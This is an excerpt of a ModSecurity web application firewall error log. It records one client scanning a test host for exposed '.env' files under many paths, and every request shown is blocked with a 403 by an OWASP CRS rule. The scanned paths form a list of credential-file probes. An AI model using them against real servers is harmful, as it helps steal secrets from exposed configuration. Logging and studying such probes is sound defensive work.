[Wed Feb 25 06:05:10.474722 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/grems-api/.env&quot;] [unique_id &quot;aZ6DBov6AM5Bs3q_JQDYlgAAAAc&quot;]
[Wed Feb 25 06:05:10.474886 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/grems-api/.env&quot;] [unique_id &quot;aZ6DBov6AM5Bs3q_JQDYlgAAAAc&quot;]
[Wed Feb 25 06:05:10.510197 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /grems-frontend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/grems-frontend/.env&quot;] [unique_id &quot;aZ6DBov6AM5Bs3q_JQDYlwAAAAc&quot;]
[Wed Feb 25 06:05:10.510489 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/grems-frontend/.env&quot;] [unique_id &quot;aZ6DBov6AM5Bs3q_JQDYlwAAAAc&quot;]
[Wed Feb 25 06:05:10.510673 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/grems-frontend/.env&quot;] [unique_id &quot;aZ6DBov6AM5Bs3q_JQDYlwAAAAc&quot;]
[Wed Feb 25 06:05:10.514875 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/with-cookie-auth-fauna/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-cookie-auth-fauna/.env&quot;] [unique_id &quot;aZ6DBmXxsr5IXP-ltRibCwAAAAA&quot;]
[Wed Feb 25 06:05:10.515127 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-cookie-auth-fauna/.env&quot;] [unique_id &quot;aZ6DBmXxsr5IXP-ltRibCwAAAAA&quot;]
[Wed Feb 25 06:05:10.515283 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-cookie-auth-fauna/.env&quot;] [unique_id &quot;aZ6DBmXxsr5IXP-ltRibCwAAAAA&quot;]
[Wed Feb 25 06:05:10.543930 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/with-dotenv/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-dotenv/.env&quot;] [unique_id &quot;aZ6DBmXxsr5IXP-ltRibDAAAAAA&quot;]
[Wed Feb 25 06:05:10.544174 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-dotenv/.env&quot;] [unique_id &quot;aZ6DBmXxsr5IXP-ltRibDAAAAAA&quot;]
[Wed Feb 25 06:05:10.544340 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-dotenv/.env&quot;] [unique_id &quot;aZ6DBmXxsr5IXP-ltRibDAAAAAA&quot;]
[Wed Feb 25 06:05:10.546912 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /hash/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Hash/.env&quot;] [unique_id &quot;aZ6DBov6AM5Bs3q_JQDYmAAAAAc&quot;]
[Wed Feb 25 06:05:10.547140 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Hash/.env&quot;] [unique_id &quot;aZ6DBov6AM5Bs3q_JQDYmAAAAAc&quot;]
[Wed Feb 25 06:05:10.547297 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Hash/.env&quot;] [unique_id &quot;aZ6DBov6AM5Bs3q_JQDYmAAAAAc&quot;]
[Wed Feb 25 06:05:10.567676 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/with-firebase-authentication-serverless/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-firebase-authentication-serverless/.env&quot;] [unique_id &quot;aZ6DBmXxsr5IXP-ltRibDQAAAAA&quot;]
[Wed Feb 25 06:05:10.567926 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-firebase-authentication-serverless/.env&quot;] [unique_id &quot;aZ6DBmXxsr5IXP-ltRibDQAAAAA&quot;]
[Wed Feb 25 06:05:10.568084 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-firebase-authentication-serverless/.env&quot;] [unique_id &quot;aZ6DBmXxsr5IXP-ltRibDQAAAAA&quot;]
[Wed Feb 25 06:05:10.605154 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/with-react-relay-network-modern/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-react-relay-network-modern/.env&quot;] [unique_id &quot;aZ6DBmXxsr5IXP-ltRibDgAAAAA&quot;]
[Wed Feb 25 06:05:10.605424 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-react-relay-network-modern/.env&quot;] [unique_id &quot;aZ6DBmXxsr5IXP-ltRibDgAAAAA&quot;]
[Wed Feb 25 06:05:10.605606 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-react-relay-network-modern/.env&quot;] [unique_id &quot;aZ6DBmXxsr5IXP-ltRibDgAAAAA&quot;]
[Wed Feb 25 06:05:10.646520 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /hasura/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hasura/.env&quot;] [unique_id &quot;aZ6DBov6AM5Bs3q_JQDYmQAAAAc&quot;]
[Wed Feb 25 06:05:10.646806 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hasura/.env&quot;] [unique_id &quot;aZ6DBov6AM5Bs3q_JQDYmQAAAAc&quot;]
[Wed Feb 25 06:05:10.647013 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hasura/.env&quot;] [unique_id &quot;aZ6DBov6AM5Bs3q_JQDYmQAAAAc&quot;]
[Wed Feb 25 06:05:10.819215 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/with-relay-modern/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-relay-modern/.env&quot;] [unique_id &quot;aZ6DBuTWwZsZM3_RktVDDgAAAAU&quot;]
[Wed Feb 25 06:05:10.819491 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-relay-modern/.env&quot;] [unique_id &quot;aZ6DBuTWwZsZM3_RktVDDgAAAAU&quot;]
[Wed Feb 25 06:05:10.819649 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-relay-modern/.env&quot;] [unique_id &quot;aZ6DBuTWwZsZM3_RktVDDgAAAAU&quot;]
[Wed Feb 25 06:05:10.828033 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /helmetjs/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Helmetjs/.env&quot;] [unique_id &quot;aZ6DBov6AM5Bs3q_JQDYmwAAAAc&quot;]
[Wed Feb 25 06:05:10.828289 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Helmetjs/.env&quot;] [unique_id &quot;aZ6DBov6AM5Bs3q_JQDYmwAAAAc&quot;]
[Wed Feb 25 06:05:10.828497 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Helmetjs/.env&quot;] [unique_id &quot;aZ6DBov6AM5Bs3q_JQDYmwAAAAc&quot;]
[Wed Feb 25 06:05:10.854554 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/with-universal-configuration-build-time/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-universal-configuration-build-time/.env&quot;] [unique_id &quot;aZ6DBuTWwZsZM3_RktVDDwAAAAU&quot;]
[Wed Feb 25 06:05:10.854831 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-universal-configuration-build-time/.env&quot;] [unique_id &quot;aZ6DBuTWwZsZM3_RktVDDwAAAAU&quot;]
[Wed Feb 25 06:05:10.854990 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-universal-configuration-build-time/.env&quot;] [unique_id &quot;aZ6DBuTWwZsZM3_RktVDDwAAAAU&quot;]
[Wed Feb 25 06:05:10.883477 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /exapi/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname 